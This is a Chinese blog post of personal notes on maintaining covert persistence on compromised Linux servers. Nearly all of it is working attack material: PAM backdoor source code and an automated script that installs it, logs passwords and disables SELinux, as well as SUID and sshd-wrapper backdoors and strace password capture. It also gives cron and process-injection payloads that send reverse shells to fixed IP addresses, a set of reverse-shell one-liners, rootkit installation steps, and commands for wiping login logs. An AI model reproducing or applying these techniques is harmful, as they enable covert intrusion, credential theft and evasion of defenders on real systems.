Linux权限维持笔记

目录

一、修改文件/终端的属性

  1、修改文件创建时间

  2、文件锁定

  3、历史记录

  4、passwd写入

二、SUID后门

  1、SUID是什么?

  2、SUID后门

三、LKM Linux rootKit后门(Linux kernel module 内核级)

四、SSH软连接

五、ssh wrapper

六、ssh公钥免密登录

七、SSH Keylogger

八、strace监听ssh来源流量

九、Cron后门

十、Cat隐藏

十一、vim后门

十二、PAM后门

  1、pam是什么

  2、pam后门

  3、pam后门自动化脚本

十三、Linux反弹shell

十四、Linux Rootkit 之 Mafix

十五、Linux Rootkit 之 Diamorphine

十六、inetd后门

  1、inetd是什么?

  2、利用过程 

十七、进程注入

 

一、修改文件/终端的属性

1、修改文件创建时间

如果蓝队是按照文件修改时间来判断后门的话,比如现在我们上传一个shell,可以看到shell文件与原文件的时间是不同的

 解决方法:

touch -r teamserver shell.php

现在再来看原文件与shell文件的修改时间,就会看得到执行命令后的shell文件时间与原文件一致了:

 Linux touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。ls -l 可以显示档案的时间记录。

 

 

2、文件锁定

在Linux中,使用chattr命令设置文件属性,使得root用户和其他管理员用户也无法修改删除文件,此权限用ls -l是无法查到的,达到隐藏权限的作用。

chattr +i shell.php   #不得任意更改文件或目录
lsattr shell.php #虽然ls -l无法查到,但lsattr可以显示文件属性

 当我们执行了chattr命令后,即使是root权限也不能删除或者移动文件

 解除锁定属性:

chattr -i shell.php    #解除属性
lsattr shel.php

这时候才能作改动

 

 

 

3、历史记录

在Linux系统中,使用history命令可以查看历史记录,如何能让自己的操作不被记录在历史记录中呢

解决方法1:关闭历史记录

[space]set +o history #[space]表示空格,加一个空格在前面,这条命令就不会被记录

在执行了这条命令之后的所有操作都不会被记录,知道解除关闭历史记录

set -o history #恢复系统环境

(测试了下,只要在命令前加一个空格,都不会被记录到history中,这也算一种解决方法噢)

解决方法2:删除历史记录

history -c  #清除本次留在缓存中的所有操作记录

 但其实在 ~/.bash_history文件中记录了所有的操作记录,想要删除的更彻底的话,可以直接删除这个文件里的记录

 

 大规模删除,只留.bash_history文件中的前十行:

sed -i '10,$d' .bash_history 

 

4、passwd写入

/etc/passwd 各部分含义:

 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/etc/shadow 各部分含义:

 用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

 

栗子:

1、增加超级用户

root@kali:~# perl -le 'print crypt("jiuguan","salt")'
saZgF2xQK4016
root@kali:~# echo "jiuguan:saZgF2xQK4016:hacker:/root:/bin/bash" >> /etc/passwd

2、如果系统不允许uid=0的用户登录,那么可以增加一个普通用户

root@kali:~# echo "jiuguan:saZgF2xQK4016:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

 

 

二、SUID后门

1、SUID是什么?

文章:https://www.jianshu.com/p/71acd8dad454

SUID 是 Set User ID,Unix内核根据运行这个程序的用户的有效ID来确定进程对资源的访问权限,包括user id 和group id,用户可以输入id这个命令来查看。

SUID的作用就是这样:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。

内核在决定进程是否有文件存取权限时,是采用了进程的有效用户ID来进行判断的。
当一个程序设置了为SUID位时,内核就知道了运行这个程序的时候,应该认为是文件的所有者在运行这个程序。即该程序运行的时候,有效用户ID是该程序的所有者。

 

简单的来说,就是当你在一个只能root权限操作的文件上设置了suid位后,其他用户也能进行操作了。

 

2、SUID后门

首先在受害者机器上使用root权限操作,复制bash,并给这个复制品woot设置一个suid位(标志位是4),. 的目的是为了隐藏文件

cp /bin/bash /.woot
chmod 4755 /.woot
ls -al /.woot

chmod 4755是什:”https://blog.csdn.net/wangll9/article/details/7398713

然后普通用户来启用这个后门

/.woot -p

之所以要加p是因为bash2已经对suid有防护了,使用-p参数来获取一个root shell

 检测后门方法:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

 

其他SUID提权:https://www.freebuf.com/articles/system/149118.html

早版本的Nmap(2.02到5.21)有交互模式,允许用户执行shell命令。Nmap也是root权限下运行的二进制文件。

通过参数interactive可以进入交互模式:nmap -interactive

下面的命令可提权

nmap> !sh
sh-3.2# whoami
root

 

三、 Linux rootKit 之 Reptile

(Linux kernel module 内核级)

“Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。

参考:https://3hack.com/tools/85.html

github地址:https://github.com/f0rb1dd3n/Reptile

在被控机安装(服务端),安装方法:

git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile/
apt install build-essential libncurses-dev linux-headers-$(uname -r)
make config
make
make install

 

 在进行make config的时候,会让你选择隐藏文件呀进程呀之类的东西,按需要填写

 

在被控制机器上使用:

1、隐藏文件、目录、内核模块
隐藏:/reptile/reptile_cmd hide 取消隐藏:/reptile/reptile_cmd show

2、要获得root特权,只需键入: /reptile/reptile_cmd root

 

3、隐藏TCP和UDP连接
隐藏:/reptile/reptile_cmd conn <IP> hide
隐藏:/reptile/reptile_cmd conn <IP> show
4、隐藏进程
隐藏进程:/reptile/reptile_cmd hide <pid>
取消隐藏进程:/reptile/reptile_cmd show <pid>

5、文件内容篡改
标签之间的所有内容将被隐藏:

#<reptile> 
content to hide 
#</reptile>

这个功能还没有测试成功诶

后门(在攻击机上安装,也就是客户端):

安装方法:

git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile/
apt install build-essential libncurses-dev linux-headers-$(uname -r)
make config
make
make client

在执行apt install build-essential libncurses-dev linux-headers-$(uname -r)的时候,如果遇到报错说找不到库,那么可以试试  yum groupinstall "Development Tools" 这一条命令。

特别需要注意的是,当在make config的时候,这里要选择N

 如果在make也就是编译的时候报错了,就看看报错说明,可能是哪个库没有安装好,一定要通过错误来找原因。刚开始我就没有看报错,浪费了很多时间,后面看报错说是没有.config文件,我就很奇怪,就对比了两个服务器上Reptile文件夹下的文件,发现真是,一个没有.config文件是因为没有安装(make install那些操作),进行了安装的就有.config,再输出.config文件,发现其实就是我们一开始安装的设置文件,选Y\N那一串,原来是要安装了再make client,我太瓜了 TAT

进入client:

cd output
./client

开始工作!!

 

 

 呜呜呜这咋连啊

 

 

四、SSH 软连接

1、软连接是什么?

软连接和硬链接:https://blog.csdn.net/gao_zhennan/article/details/79127232

简单的来说软连接就是类似于快捷方式的东西,但是源文件删除的情况下,软连接也就不起作用了。

软链接:ln -s 源文件 目标文件
硬链接:ln 源文件 目标文件

2、ssh软连接后门

得到对方shell后,对方防火墙无限制,想要一个快速开放的ssh端口,肉鸡上执行

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

本机上执行

ssh root@10.92.64.129 -p 31337

 即可实现任意密码登录

 

 

五、ssh wrapper***

受害者主机:
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/ssh restart
攻击者主机:
socat STDIO TCP4:10.92.64.23:22,sourceport=13377

但是!!!

检测:
ls -al /usr/sbin/sshd
cat /usr/sbin/sshd

解决:
rm -rf /usr/sbin/sshd
mv /usr/bin/sshd /usr/sbin;
/etc/init.d/ssh restart
或者直接重装ssh服务

 

 六、ssh公钥免密登录

A机:10.92.64.129

B机:10.92.64.23    实现A机不要密码登录到B机

首先A机生成公钥私钥对

[root@A ~]# ssh-keygen -t rsa -P ''

把A机下的/root/.ssh/id_rsa.pub 复制到B机的 /root/.ssh/authorized_keys文件里,先要在B机上创建好 /root/.ssh 这个目录,用scp复制。

[root@B ~]#mkdir -p /root/.ssh/

[root@A ~]# scp /root/.ssh/id_rsa.pub root@10.92.64.23:/root/.ssh/authorized_keys

然后authorized_keys的权限要为600

[root@B ~]# chmod 600 /root/.ssh/authorized_keys

最后A机登录B机

大概就是过程就是A生成钥通过scp传到B,赋权限,A机就可以免密码登录B机了

 

 

七、SSH Keylogger

strace是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等

当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

如果系统没有安装strace服务,先给他安装一个

apt-get install strace

在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码

比如当前用户是root

cd /root/
vim .bashrc

在.bashrc文件的最后一行填上

alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

然后让.bashrc配置重新生效

source .bashrc

接下来ssh连接或者su切换用户,输入密码时的密码,无论错误或者正确都能记录到log里

 查看日志,就能看到被记录的ssh连接ip及密码

root@kali:/tmp# cat .sshpwd-03Aug081596442343.log //注意这里的log文件名是随时间随机生成,都不一样的,得在tmp目录下ls -a查看一下噢

 

 

 

八、strace监听ssh来源流量

参考:https://www.cnblogs.com/-mo-/p/12337766.html

不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。

ps -ef | grep sshd    //父进程PID
strace -f -p 523 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

执行了这两条命令后,当有其他机器ssh连接本机器时,无论密码正确还是错误,都会被记录到/tmp/.ssh.log这个日志文件中

 查看密码:

grep "read(6" /tmp/.ssh.log | tail -n 11

 

 

 

 

九、Cron后门***

通过Crontab程序调度已安装的后门程序定时运行,crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

 

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1
chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

#每一分钟执行一次
*/1 * * * * root /etc/evil.sh

重启crond服务,service crond restart,然后就可以用nc接收shell。

  

 

参考:

https://www.cnblogs.com/kerrycode/p/3238346.html

https://www.secpulse.com/archives/125547.html

 

十、Cat隐藏

cat默认是支持\n 换行符 \r 回车符 \f换页符的,也就是这些符号导致能够隐藏命令。那么我们就可以将这个利用到运维工具脚本中,插入恶意代码,使管理员不怎么能发现。

首先,先用python脚本生成一个bash脚本

test.py:

cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏内容
cmd_v = "echo 'Hello world!'"                         # 直接cat可以显示的

with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)

运行test.py 生成test.sh,先来cat一下,是只能输出部分内容的

 执行一下test.sh

这个时候发现文件中多了一个oops文件,这是哪里来的呢,执行一下oops文件

 

 

 这样就能看出隐藏的效果了,假如网站管理员要执行的脚本是test.sh,当他执行的时候只会输出正常的内容(Hello world!),但其实隐藏的语句(echo 'You forgot to check `cat -A`!' > oops)也是执行了的。只要管理员不执行cat -A 命令,或者其他的vim命令等查看,光只用cat命令是看不出端倪的。这样我们就可以在bash脚本中插入有害代码,从而达到我们的目的了。

 

 

十一、vim后门

poc1:首先必须开启modeline ,在~/.vimrc中加入set modeline确保开启该选项,

vim ~/.vimrc  添加set modeline

echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > hello.txt vim hello.txt

vim hello.txt 

若存在漏洞,则会显示出命令uname -a的结果

poc2:

可参考:

 https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

https://www.freebuf.com/vuls/205516.html

poc2是不可以直接复制粘贴的,所以这里采用直接下载的方式,linux可以用wget工具下载,windows可以在cmd中输入如下进行下载:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt

 

 开启两个终端,一个终端先执行nc -lvp 9999 ,另一个终端执行vim shell.php,会看到已经建立了反向shell连接,执行了shell.txt中的命令

 

 

十二、PAM后门

1、pam是什么?

         在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!

         PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。[引用自鸟哥私房菜](http://vbird.dic.ksu.edu.tw/linux_basic/0410accountmanager_5.php#ps5)

        从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确。从而达到作为后门的目的。

 引用自-以下也参考:https://www.t00ls.net/viewthread.php?tid=24062&extra=&highlight=pam&page=1

2、pam后门

kali查看pam版本

dpkg -s libpam-modules | grep -i version

其他linux版本查看pam版本

rpm –aq | grep pam

根据对应的pam版本在http://www.linux-pam.org/library/ 下载

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz (根据自己版本来)
tar -xzvf Linux-PAM-1.1.8.tar.gz
cd Linux-PAM-1.1.8
cd modules/pam_unix/
vim pam_unix_auth.c

解压完之后寻找在认证过程中PAM一定会调用哪些函数,在函数的上下文写入想实现的功能。

作为后门可以写回连代码,也可以定期回传想要的数据,记录账号密码什么的也是可以的,具体情况具体分析,这样就可以减少操作,增加后门的隐蔽性。

查找pam_sm_authenticate函数,修改如下这段函数:

D(("user=%s, password=[%s]", name, p));
        
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
AUTH_RETURN;

改为:

D(("user=%s, password=[%s]", name, p));
if(strcmp(p, "MAGIC_PASSWD") == 0)  ////MAGIC_PASSWD修改为自己设置的后门密码,如21017
{
      retval = PAM_SUCCESS;
      AUTH_RETURN;
}

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(retval == PAM_SUCCESS)
{
      FILE *fp = fopen("/usr/local/man/.pam.log","a"); /////记录管理员密码的文件路径.
      fprintf(fp, "[evilpam]user=%s, password=%s\n", name, p);
      fclose(fp);
}
 name = p = NULL;

这段密码的意思是设置了一个MAGIC_PASSWD,任何用户使用这个密码都可以登录。如果用户不是用MAGIC_PASSWD登录的,就把他的用户名密码记录在/usr/local/man/.pam.log文件里。

这里注意的是,MAGIC_PASSWD要改成自己设置的密码,不然ssh连得时候密码就得输入MAGIC_PASSWD 

保存后

cd ../../
./configure
make

备份、覆盖  //这里也要注意的是,路径要正确,可以在根目录下先搜索自己的pam_unix.so文件,find / -name pam_unix.so,再将相应路径填进去操作

比如kali系统下的pam_unix.so在   /lib/x86_64-linux-gnu/security/pam_unix.so   而有些在/lib64/文件下,所以先搜索一下比较好,会节省很多时间

cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/

然后可以根据文章开始的修改文件时间touch -r这样就更隐蔽了

现在就可以用我们设置的密码ssh直接登录了

 在留了后门的机器上也可以查看账号密码 

cat /usr/local/man/.pam.log

 3、pam自动化脚本

参考:https://xz.aliyun.com/t/7902#toc-0  还有很多内容,但是我太菜了看不懂嘿嘿,以后来慢慢啃

在centos测试是可以的,直接vim pam.sh,内容为以下内容(的要在~目录下)

root@qing:~/pam# cat pam.sh
#!/bin/bash
PASS='qing123' ##......
LOG='\/bin\/.sshlog' ##......
echo -e "\nPam-Backdoor\n\n\n"
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
#get the pam version

#close the selinux
if [ `getenforce` = '1' ];then
setenforce 0
line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`
sed -i $line_n' d' /etc/sysconfig/selinux
sed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux
/etc/sysconfig/selinux
else
echo "selinux is closed"
fi
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
version='Linux-PAM-'$version
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf $version'.tar.gz' #untar
cd $version
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /$LIBPATH/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "PAM BackDoor is Done"

然后bash pam.sh,就成功啦,以后就可以用脚本中的密码qing123来登录了

 

 

十三、Linux反弹shell

反弹shell原理:反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

参考:https://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247483845&idx=1&sn=df19dd292411e169ba1544106f2ac5d9&chksm=eb91ee91dce667873a277e6cc1638d145d428b10f1fe0628898a9c8a397f834727604a159846&mpshare=1&scene=23&srcid=&sharer_sharetime=1582339251663&sharer_shareid=d32981e13d51bf06188894426d2a54e5#rd

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

1、 bash -i >& /dev/tcp/10.92.64.23/12345  0>&1

优点:在大多数Liunx系统上都可以使用,缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。

2、 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.92.64.23',12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。

3、 nc -e /bin/bash 10.92.64.23 12345

4、perl -e 'use Socket;$i="116.85.41.79";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 当在两台服务器上反弹shell失败时,可以尝试换一个端口试试,之前使用的12345就一直拒绝连接,换成443端口后就反弹shell成功了(虽然。。不知道为啥,先留着)

 netcat安装方法:

wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install

优点:直接反弹,没有多余的符号。缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。解决方法:

nc 10.92.64.23 12345|/bin/bash|nc 10.92.64.23 54321

利用12345端口传入内容交给bash执行,再将内容从54321送出去,管道符的用法。可以在阉割功能的nc上使用。

针对某些mips架构的路由器&busybox终端的系统的解决方法请看上面的参考原文~

 

十四、Rootkit 之 Mafix

rootkit分为内核级和应用级两种。
内核级的rootkit很多,比如:Diamorphine
应用级的rootkit也很多,比如:Mafix

参考:https://xz.aliyun.com/t/7338#toc-38

https://www.t00ls.net/viewthread.php?tid=57269&highlight=linux

1、Mafix

Mafix下载链接:https://pan.baidu.com/s/1ywd_2hsGZJ3u6idWMJlc4A 提取码:g3o2 

条件:root权限shell

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的,特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件(利用/proc?),所以容易被发现

安装方法:

下载到被攻击机器后
tar zvxf mafix.tar.gz
cd mafix
chmod +x root
./root password port  (password和port自己定义)

 当安装完成后,程序会自动删除,后面就可以通过端口密码连接了

 这样就可以顺利登陆了

注意这里连接的时候,这里的p是小写,如果是大写的话会怎么样都连不上的,呜呜呜

ssh root@ip -p port

如果还连接不上,也要考虑是不是端口的问题,端口是否开放

痕迹清理

清理命令记录:
(1)仅清理当前用户: history -c
(2)使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0
(3)删除记录
删除登录失败记录:echo>/var/log/btmp
删除登录成功记录:echo>/var/log/wtmp (此时执行last命令就会发现没有记录)删除日志记录:echo > /var/log/secure

 

十五、Linux Rootkit之Diamorphine

参考:https://www.t00ls.net/viewthread.php?tid=53792&highlight=rootkit

https://www.jozxing.cc/archives/1410

测试于:

 Diamorphine 是一个Linux内核模块, 支持内核版本 2.6.x/3.x/4.x。可通过 uname -r 查看内核版本。

#下载程序:
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make #编译
#如果出现错误的话,则需要先安装依赖的内核头文件
wget https://buildlogs.centos.org/c7.1511.00/kernel/20151119220809/3.10.0-327.el7.x86_64/kernel-3.10.0-327.el7.x86_64.rpm
rpm2cpio kernel-3.10.0-327.el7.x86_64.rpm | cpio -div
insmod diamorphine.ko  #安装模块

使用:

1、隐藏进程

kill -31 PID
#查看进程 ps -ef

2、隐藏模块  

kill -63 0

 3、普通用户提权为root

kill -64 0
#这里的0其实就是root用户的pid进程号,换成其他用户的进程号也可以切换到其他用户

 首先得是在root权限下下载安装的Diamorphine,才能在普通用户时提权到root用户,达到权限维持的目的。

4、创建隐藏文件,ls,du都找不到

touch diamorphine_secret         #只要是diamorphine_secret开头的文件名或者文件夹,就会隐藏

5、卸载方法

kill -63 0
rmmod diamorphine

但是这个哦,在腾讯云上会报警,最好应该不要用这个,虽然感觉很好用

 

 

 十六、inetd后门

参考:https://klionsec.github.io/2017/10/23/inetd-backdoor/

http://www.91ri.org/9026.html

1、inetd是什么?

inetd就是一个监听外部网络请求 [就是一个socket] 的系统守护进程,当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理,如果来自外部的某个socket是要执行一个可交互的shell 【比如下文我们修改的】,这岂不是就相当于一个简易的bind型后门。

2、利用过程

在目标机器上操作;如果系统上没有inetd服务,那么先安装一个2、利用过程

apt install openbsd-inetd

使用vim来修改inetd.config文件

vim  /etc/inetd.config

 修改为

 开启inetd

root@VM-0-12-ubuntu:~# inetd

如果要重启inetd服务的话,执行

root@VM-0-12-ubuntu:~# ps -ef | grep inetd
root     20883     1  0 11:21 ?        00:00:00 /usr/sbin/inetd
root     20979     1  0 11:21 ?        00:00:00 inetd
root     21773  1540  0 11:27 pts/0    00:00:00 grep --color=auto inetd
root@VM-0-12-ubuntu:~# kill -HUP 20883

然后就可以用nc直接连接了,在另一台机器上执行

nc -vv ip port //端口只要是未占用的都行

 

 可以看到效果就是如上

 

十七、进程注入 

参考:https://payloads.online/archivers/2020-01-01/2

https://www.anquanke.com/post/id/83423

Linux3.4中有一个名为yama的安全模块可以禁用 ptrace-based代码注入(或者是在代码注入期间有其他的拦截方式)。要想让它在这种情况下正常工作,需要先关闭这个限制

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

 github上这个代码可以实现进程注入:https://github.com/gaffe23/linux-inject

先下载下来编译

git clone https://github.com/gaffe23/linux-inject
cd linux-inject
make x86_64

如果make时出现报错的话,可能是gcc安装环境没有安装好

apt-get install gcc-multilib

开启两个终端测试一下,一个终端运行

./sample-target

一个终端运行

sudo ./inject -n sample-target sample-library.so

注入sample-library.so到一个进程中,这个进程就是通过-n name指定的sample-target。如果你需要注入到指定PID的进程,你可以使用-p PID的方式 

当出现I just got loaded时,表示注入成功~

 接下来,我们就可以按自己的需求编写我们想要效果的代码来注入,比如我们想要反弹shell,可以编写下面一段代码

test.c

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>


void shell()
{
    printf("I just got loaded\n");
    system("bash -c \"bash -i >& /dev/tcp/10.92.64.23/12345 0>&1\"");
   
}


__attribute__((constructor))
void loadMsg()
{
   shell();
}

然后再运行以下命令

gcc -shared -fPIC -o libtest.so test.c
//在另一个终端中仍然需要运行sample-target,是为了给我们一个进程来方便注入,不运行的话,也可以ps -ef注入其他进程
./sample-target
sudo ./inject -n sample-target libtest.so

另一台机器监听12345端口,就会收到反弹回来的shell

 在实战应用中,需要关闭ptrace的限制,然后注入.so到某个服务进程中,这样达到权限维持的目的

 

 

 

参考:

https://www.jianshu.com/p/0898624ecbcc

 https://xz.aliyun.com/t/7338#toc-1

 

posted @ 2020-07-22 11:38  xiaoxiaosen  阅读(2196)  评论(0编辑  收藏  举报